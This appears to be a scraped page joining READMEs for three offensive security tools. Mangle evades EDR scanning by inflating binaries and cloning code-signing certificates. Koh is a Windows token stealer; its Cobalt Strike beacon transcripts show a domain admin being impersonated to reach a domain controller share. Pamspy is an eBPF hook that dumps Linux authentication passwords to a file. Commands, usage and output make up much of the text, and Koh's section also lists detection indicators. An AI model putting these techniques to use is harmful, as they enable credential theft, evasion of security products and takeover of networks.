Path to the file containing the certificate you want to clone
-I string
Path to the orginal file
-M Edit the PE file to strip out Go indicators
-O string
The new file name
-S int
How many MBs to increase the file by

Strings

Mangle takes the input executable and looks for known strings that security products look for or alert on. These strings alone are not the sole point of detection. Often, these strings are in conjunction with other data points and pieces of telemetry for detection and prevention. Mangle finds these known strings and replaces the hex values with random ones to remove them. IMPORTANT: Mangle replaces the exact size of the strings it’s manipulating. It doesn’t add any more or any less, as this would create misalignments and instabilities in the file. Mangle does this using the -M command-line option.

Currently, Mangle only does Golang files but as time goes on other languages will be added. If you know of any for other languages, please open an issue ticket and submit them.

Before

Β 

After


Inflate

Pretty much all EDRs can’t scan both on disk or in memory files beyond a certain size. This simply stems from the fact that large files take longer to review, scan, or monitor. EDRs do not want to impact performance by slowing down the user's productivity. Mangle inflates files by creating a padding of Null bytes (Zeros) at the end of the file. This ensures that nothing inside the file is impacted. To inflate an executable, use the -S command-line option along with the number of bytes you want to add to the file. Large payloads are really not an issue anymore with how fast Internet speeds are, that being said, it's not recommended to make a 2 gig file.

Based on test cases across numerous userland and kernel EDRs, it is recommended to increase the size by either 95-100 megabytes. Because vendors do not check large files, the activity goes unnoticed, resulting in the successful execution of shellcode.

Example:


Certificate

Mangle also contains the ability to take the full chain and all attributes from a legitimate code-signing certificate from a file and copy it onto another file. This includes the signing date, counter signatures, and other measurable attributes.

While this feature may sound similar to another tool I developed, Limelighter, the major difference between the two is that Limelighter makes a fake certificate based off a domain and signs it with the current date and time, versus using valid attributes where the timestamp is taken from when the original file. This option can use DLL or .exe files to copy using the -C command-line option, along with the path to the file you want to copy the certificate from.


Credit

  • Special thanks to Jessica of SuperNovasStore for creating the logo.
  • Special thanks to Binject for his repo


Koh - The Token Stealer


Koh is a C# and Beacon Object File (BOF) toolset that allows for the capture of user credential material via purposeful token/logon session leakage.

Some code was inspired by Elad Shamir's Internal-Monologue project (no license), as well as KB180548. For why this is possible and Koh's approeach, see the Technical Background section of this README.

For a deeper explanation of the motivation behind Koh and its approach, see the Koh: The Token Stealer post.

@harmj0y is the primary author of this code base. @tifkin_ helped with the approach, BOF implementation, and some token mechanics.

Koh is licensed under the BSD 3-Clause license.


Koh Server

The Koh "server" captures tokens and uses named pipes for control/communication. This can be wrapped in Donut and injected into any high-integrity SYSTEM process (see The Inline Shenanigans Bug).

Compilation

We are not planning on releasing binaries for Koh, so you will have to compile yourself :)

Koh has been built against .NET 4.7.2 and is compatible with Visual Studio 2019 Community Edition. Simply open up the project .sln, choose "Release", and build. The Koh.exe assembly and Koh.bin Donut-built PIC will be output to the main directory. The Donut blob is both x86/x64 compatible, and is built with the following options using v0.9.3 of Donut at ./Misc/Donut.exe:

  [ Instance type : Embedded
[ Entropy : Random names + Encryption
[ Compressed : Xpress Huffman
[ File type : .NET EXE
[ Parameters : capture
[ Target CPU : x86+amd64
[ AMSI/WDLP : abort

Donut's license is BSD 3-clause.

Usage

Koh.exe Koh.exe <list | monitor | capture> [GroupSID... GroupSID2 ...]

  • list - lists (non-network) logon sessions
  • monitor - monitors for new/unique (non-network) logon sessions
  • capture - captures one unique token per SID found for new (non-network) logon sessions

Group SIDs can be supplied command line as well, causing Koh to monitor/capture only logon sessions that contain the specified group SIDs in their negotiated token information.

Example - Listing Logon Sessions

C:\Temp>Koh.exe list

__ ___ ______ __ __
| |/ / / __ \ | | | |
| ' / | | | | | |__| |
| < | | | | | __ |
| . \ | `--' | | | | |
|__|\__\ \______/ |__| |__|
v1.0.0


[*] Command: list

[*] Elevated to SYSTEM


[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\testuser
LUID : 207990196
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1119
Origin LUID : 1677733 (0x1999a5)

[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492692
LogonType : Interactive
AuthPackage : Negotiate
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)

[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492608
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)

[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\harmj0y
LUID : 1677733
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1104
Origin LUID : 999 (0x3e7)

Example - Monitoring for Logon Sessions (with group SID filtering)

Only lists results that have the domain admins (-512) group SID in their token information:

C:\Temp>Koh.exe monitor S-1-5-21-937929760-3187473010-80948926-512

__ ___ ______ __ __
| |/ / / __ \ | | | |
| ' / | | | | | |__| |
| < | | | | | __ |
| . \ | `--' | | | | |
|__|\__\ \______/ |__| |__|
v1.0.0


[*] Command: monitor

[*] Starting server with named pipe: imposecost

[*] Elevated to SYSTEM

[*] Targeting group SIDs:
S-1-5-21-937929760-3187473010-80948926-512

[*] New Logon Session - 6/22/2022 2:52:17 PM
UserName : THESHIRE\DA
LUID : 81492692
LogonType : Interactive
AuthPackage : Negotiate
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)

[*] New Logon Session - 6/22/2022 2:52:17 PM
UserName : THESHIRE\DA
LUID : 81492608
Lo gonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)

[*] New Logon Session - 6/22/2022 2:52:17 PM
UserName : THESHIRE\harmj0y
LUID : 1677733
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1104
Origin LUID : 999 (0x3e7)

Koh Client

The current usable client is a Beacon Object File at .\Clients\BOF\. Load the .\Clients\BOF\KohClient.cna aggressor script in your Cobalt Strike client to enable BOF control of the Koh server. The only requirement for using captured tokens is SeImpersonatePrivilege. The communication named pipe has an "Everyone" DACL but uses a basic shared password (super securez).

To compile fresh on Linux using Mingw, see the .\Clients\BOF\build.sh script. The only requirement (on Debian at least) should be apt-get install gcc-mingw-w64

Usage

beacon> help koh
koh list - lists captured tokens
koh groups LUID - lists the group SIDs for a captured token
koh filter list - lists the group SIDs used for capture filtering
koh filter add SID - adds a group SID for capture filtering
koh filter remove SID - removes a group SID from capture filtering
koh filter reset - resets the SID group capture filter
koh impersonate LUID - impersonates the captured token with the give LUID
koh release all - releases all captured tokens
koh release LUID - releases the captured token for the specified LUID
koh exit - signals the Koh server to exit

Group SID Filtering

The koh filter add S-1-5-21-<DOMAIN>-<RID> command will only capture tokens that contain the supplied group SID. This command can be run multiple times to add additional SIDs for capture. This can help prevent possible stability issues due to a large number of token leaks.

Example - Capture

"Captures" logon sessions by negotiating usable tokens for each new session.

Server:

C:\Temp>Koh.exe capture

__ ___ ______ __ __
| |/ / / __ \ | | | |
| ' / | | | | | |__| |
| < | | | | | __ |
| . \ | `--' | | | | |
|__|\__\ \______/ |__| |__|
v1.0.0


[*] Command: capture

[*] Starting server with named pipe: imposecost

[*] Elevated to SYSTEM


[*] New Logon Session - 6/22/2022 2:53:01 PM
UserName : THESHIRE\testuser
LUID : 207990196
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1119
Credential UserName : testuser@THESHIRE.LOCAL
Origin LUID : 1677733 (0x1999a5)

[*] Successfully negotiated a token for LUID 207990196 (hToken: 848)


[*] New Logon Session - 6/22/2022 2:53:01 PM
UserName : THESHIRE\DA
LUID : 81492692
LogonType : Interactive
AuthPackage : Negotiate
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Credential UserName : da@THESHIRE.LOCAL
Origin LUID : 1677765 (0x1999c5)

[*] Successfully negotiated a token for LUID 81492692 (hToken: 976)


[*] New Logon Session - 6/22/2022 2:53:01 PM
UserName : THESHIRE\harmj0y
LUID : 1677733
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1104
Credential UserName : harmj0y@THESHIRE.LOCAL
Origin LUID : 999 (0x3e7)

[*] Successfully negotiated a token for LUID 1677733 (hToken: 980)

BOF client:

beacon> shell dir \\dc.theshire.local\C$
[*] Tasked beacon to run: dir \\dc.theshire.local\C$
[+] host called home, sent: 69 bytes
[+] received output:
Access is denied.

beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are NT AUTHORITY\SYSTEM (admin)

beacon> koh list
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost

[+] received output:

Username : THESHIRE\localadmin (S-1-5-21-937929760-3187473010-80948926-1000)
LUID : 67556826
CaptureTime : 6/21/2022 1:24:42 PM
LogonType : Interactive
AuthPackage : Negotiate
CredUserName : localadmin@THESHIRE.LOCAL
Origin LUID : 1676720

Username : THESHIRE\da (S-1-5-21-937929760-3187473010-80948926-1145)
LUID : 67568439
CaptureTime : 6/21/2022 1:24:50 PM
LogonType : Interactive
AuthPackage : Negotiate
CredUserName : da@THESHIRE.LOCAL
Origin LUID : 1677765

Username : THESHIRE\harmj0y (S-1-5-21-937929760-3187473010-80948926-1104)
LUID : 1677733
CaptureTime : 6/21/2022 1:23:10 PM
LogonType : Interactive
AuthPackage : Kerberos
CredUserName : harmj0y@THESHIRE.LOCAL
Origin LUID : 999

beacon> koh groups 67568439
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost

[+] received output:
S-1-5-21-937929760-3187473010-80948926-513
S-1-5-21-937929760-3187473010-80948926-512
S-1-5-21-937929760-3187473010-80948926-525
S-1-5-21-937929760-3187473010-80948926-572

beacon> koh impersonate 67568439
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost

[+] received output:
[*] Enabled SeImpersonatePrivilege

[+] received output:
[*] Creating impersonation named pipe: \\.\pipe\imposingcost

[+] received output:
[*] Impersonation succeeded. Duplicating token.

[+] received output:
[*] Impersonated token successfully duplicated.

[+] Impersonated THESHIRE\da

beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are THESHIRE\DA (admin)

beacon> shell dir \\dc.theshire.local\C$
[*] Tasked beacon to run: dir \\dc.theshire.local\C$
[+] host called home, sent: 69 bytes
[+] received output:
Volume in drive \\dc.theshire.local\C$ has no label.
Volume Serial Number is A4FF-7240

Directory of \\dc.theshire.local\C$

01/04/2021 11:43 AM <DIR> inetpub
05/30/2019 03:08 PM <DIR> Pe rfLogs
05/18/2022 01:27 PM <DIR> Program Files
04/15/2021 09:44 AM <DIR> Program Files (x86)
03/20/2020 12:28 PM <DIR> RBFG
10/20/2021 01:14 PM <DIR> Temp
05/23/2022 06:30 PM <DIR> tools
03/11/2022 04:10 PM <DIR> Users
06/21/2022 01:30 PM <DIR> Windows
0 File(s) 0 bytes
9 Dir(s) 40,504,201,216 bytes free

Technical Background

When a new logon session is estabslished on a system, a new token for the logon session is created by LSASS using the NtCreateToken() API call and returned by the caller of LsaLogonUser(). This increases the ReferenceCount field of the logon session kernel structure. When this ReferenceCount reaches 0, the logon session is destroyed. Because of the information described in the Why This Is Possible section, Windows systems will NOT release a logon session if a token handle still exists to it (and therefore the reference count != 0).

So if we can get a handle to a newly created logon session via a token, we can keep that logon session open and later impersonate that token to utilize any cached credentials it contains.

Why This Is Possible

According to this post by a Microsoft engineer:

After MS16-111, when security tokens are leaked, the logon sessions associated with those security tokens also remain on the system until all associated tokens are closed... even after the user has logged off the system. If the tokens associated with a given logon session are never released, then the system now also has a permanent logon session leak as well.

MS16-111 was applied back to Windows 7/Server 2008, so this approach should be effective for everything except Server 2003 systems.

Approach

Enumerating logon sessions is easy (from an elevated context) through the use of the LsaEnumerateLogonSessions() Win32 API. What is more difficult is taking a specific logon session identifier (LUID) and somehow getting a usable token linked to that session.

Possible Approaches

We brainstormed a few ways to a) hold open logon sessions and b) abuse this for token impersonation/use of cached credentials.

  1. The first approach was to use NtCreateToken() which allows you to specify a logon session ID (LUID) to create a new token.
    • Unfortunately, you need SeCreateTokenPrivilege which is traditionally only held by LSASS, meaning you need to steal LSASS' token which isn't ideal.
    • One possibility was to add SeCreateTokenPrivilege to NT AUTHORITY\SYSTEM via LSA policy modification, but this would need a reboot/new logon session to express the new user rights.
  2. You can also focus on just RemoteInteractive logon sessions by using WTSQueryUserToken() to get tokens for new desktop sessions to clone.
    • This is the approach apparently demonstrated by Ryan.
    • Unfortunately this misses newly created local sessions and incoming sessions created from things like PSEXEC.
  3. On a new logon session, open up a handle to every reachable process and enumerate all existing handles, cloning the token linked to the new logon session.
    • This requires opening up lots of processes/handles, which looks very suspicious.
  4. The AcquireCredentialsHandle()/InitializeSecurityContext()/AcceptSecurityContext() approach described below, which is what we went with.

Our Approach

The SSPI AcquireCredentialsHandle() call has a pvLogonID field which states:

A pointer to a locally unique identifier (LUID) that identifies the user. This parameter is provided for file-system processes such as network redirectors. 

Note: In order to utilize a logon session LUID with AcquireCredentialsHandle() you need SeTcbPrivilege, however this is usually easier to get than SeCreateTokenPrivilege.

Using this call while specifying a logon session ID/LUID appears to increase the ReferenceCount for the logon session structure, preventing it from being released. However, we're not presented with another problem: given a "leaked"/held open logon session, how do we get a usable token from it? WTSQueryUserToken() only works with desktop sessions, and there's no userland API that we could find that lets you map a LUID to a usable token.

However we can use two additional SSPI functions, InitializeSecurityContext() and AcceptSecurityContext() to act as client and server to ourselves, negotiating a new security context that we can then use with QuerySecurityContextToken() to get a usable token. This was documented in KB180548 (mirrored by PKISolutions here) for the purposes of credential validation. This is a similar approach to Internal-Monologue, except we are completing the entire handshake process, producing a token, and then holding that for later use.

Filtering can then be done on the token itself, via CheckTokenMembership() or GetTokenInformation(). For example, we could release any tokens except for ones belonging to domain admins, or specific groups we want to target.

Advantages/Disadvantages Versus Traditional Credential Extraction

Advantages

  • Works for both local and inbound (non-network) logons.
  • Works for inbound sessions created via Kerberos and NTLM.
  • Doesn’t require opening up a handle to multiple processes.
  • Doesn't create a new logon event or logon session.
  • Doesn't create additional event logs on the DC outside of normal system ticket renewal behavior (I don't think?)
  • No default lifetime on the tokens (I don't think?) so access should work as long as the captured account’s credentials don't change and the system doesn’t reboot.
  • Reuses legitimate captured auth on a system, so should "blend with the noise" reasonably well.

Disadvantages

  • Access is only usable as long as the system doesn't reboot.
  • Doesn't let you reuse access on other systems
    • However, and existing ticket/credential extraction can still be done on the leaked logon session.
  • May cause instability if a large number of sessions are leaked (though this can be mitigated with token group SID filtering) and restricting the maximum number of captured tokens (default of 1000 here).

The Inline Shenanigans Bug

I've been coding for a decent amount of time. This is one of the weirder and frustrating-to-track-down bugs I've hit in a while - please help me with this lol.

  • When the Koh.exe assembly is run from an elevated (but non-SYSTEM) context, everything works properly.

  • If the Koh.exe assembly is run via Cobalt Strike's Beacon fork&run process with execute-assembly from an elevated (but non-SYSTEM) context, everything works properly.

  • If the Koh.exe assembly is run inline (via InlineExecute-Assembly or Inject-Assembly) for a Cobalt Strike Beacon that's running in a SYSTEM context, everything works properly.

  • However If the Koh.exe assembly is run inline (via InlineExecute-Assembly or Inject-Assembly) for a Cobalt Strike Beacon that's running in an elevated, but not SYSTEM, context, the call to AcquireCredentialsHandle() fails with SEC_E_NO_CREDENTIALS and everything fails Β―\_(ツ)_/Β―

We have tried (with no success):

  • Spinning off everything to a separate thread, specifying a STA thread apartment.
  • Trying to diagnose RPC weirdness (still more to investigate here).
  • Using DuplicateTokenEx and SetThreadToken instead of ImpersonateLoggedOnUser.
  • Checking if we have the proper SeTcbPrivilege right before the AcquireCredentialsHandle call (we do).

For all intents and purposes, the thread context right before the call to AcquireCredentialsHandle works in this context, but the result errors out. And we have no idea why.

If you have an idea of what this might be, please let us know! And if you want to try playing around with a simpler assembly, check out the AcquireCredentialsHandle repo on my GitHub for troubleshooting.

IOCs

To quote @tifkin_ "Everything is stealthy until someone is looking for it." While Koh's approach is slightly different than others, there are still IOCs that can be used to detect it.

The unique TypeLib GUID for the C# Koh collector is 4d5350c8-7f8c-47cf-8cde-c752018af17e as detailed in the Koh.yar Yara rule in this repo. If this is not changed on compilation, it should be a very high fidelity indicator of the Koh server.

When the Koh server starts is opens up a named pipe called \\.\pipe\imposecost that stays open as long as Koh is running. The default password used for Koh communication is password, so sending password list to any \\.\pipe\imposecost pipe will let you confirm if Koh is indeed running. The default impersonation pipe used is \\.pipe\imposingcost.

If Koh starts in an elevated context but not as SYSTEM, a handle/token clone of winlogon is performed to perform a getsystem type elevation.

I'm sure that no attackers will change the indicators mentioned above.

There are likely some RPC artifacts for the token capture that we're hoping to investigate. We will update this section of the README if we find any additional detection artifacts along these lines. Hooking of some of the possibly-uncommon APIs used by Koh (LsaEnumerateLogonSessions or the specific AcquireCredentialsHandle/InitializeSecurityContext/AcceptSecurityContext, specifically using a LUID in AcquireCredentialsHandle) could be explored for effectiveness, but alas, I am not an EDR.

TODO

  • Additional testing in the lab and field. Possible concerns:
    • Stability in production environments, specifically intentional token leakage causing issues on highly-trafficked servers
    • Total actual effective token lifetime
  • "Remote" client that allows for monitoring through the Koh named pipe remotely
  • Implement more clients (PowerShell, C#, C++, etc.)
  • Fix the Inline Shenanigans Bug


Pamspy - Credentials Dumper For Linux Using eBPF


pamspy leverage eBPF technologies to achieve an equivalent work of 3snake.

It will track a particular userland function inside the PAM (Pluggable Authentication Modules) library, used by many critical applications to handle authentication like:

  • sudo
  • sshd
  • passwd
  • gnome
  • x11
  • and many other ...


How to launch?

pamspy is built as a static binary without any dependencies, and available on the release page.

Usage: pamspy [OPTION...]
pamspy

Uses eBPF to dump secrets use by PAM (Authentication) module
By hooking the pam_get_authtok function in libpam.so

USAGE: ./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4) -d /var/log/trace.0

-d, --daemon=PATH TO OUTPUT CREDENTIALS
Start pamspy in daemon mode and output in the file
passed as argument
-p, --path=PATH Path to the libpam.so file
-r, --print-headers Print headers of the program
-v, --verbose Verbose mode
-?, --help Give this help list
--usage Give a short usage message
-V, --version Print program version

Mandatory or optional arguments to long options are also mandatory or optional
for any corresponding short options.

Report bugs to .

As pamspy rely on libpam, we have to set the path where libpam is installed on your distribution. To find where libpam is installed you can run the following command :

> /usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4
/lib/x86_64-linux-gnu/libpam.so.0

Once you get the path you can launch pamspy :

> ./pamspy -p /lib/x86_64-linux-gnu/libpam.so.0

An easy way to launch pamspy is to use the following command :

> ./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4)

pamspy can also be started as a daemon by providing an output file where credentials will be written:

./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4) -d /tmp/credentials

How to build?

To build the static binary, we need third-party program. For eBPF we need clang to compile the C code into eBPF CO-RE code. We also rely on bpftool to create a skeleton from ebpf program to include it in our userland program. Then we need also libelf to find the correct symbol in libpam.

sudo apt install make clang-11 gcc libelf-dev bpftool

Then just build!

git clone https://github.com/citronneur/pamspy --recursive
cd pamspy/src
make

How does It works?

pamspy will load a userland return probe eBPF program to hook the pam_get_authtok function from libpam.so. PAM stands for "Pluggable Authentication Modules", and have a flexible design to manage a different kind of authentication on Linux.

Each time an authentication process tries to check a new user, It will call pam_get_authtok, and will be here to dump the content of the critical secrets!

Easy! Enjoy!

Credits and references

Thanks to @blendin for 3snake tool !!!



❌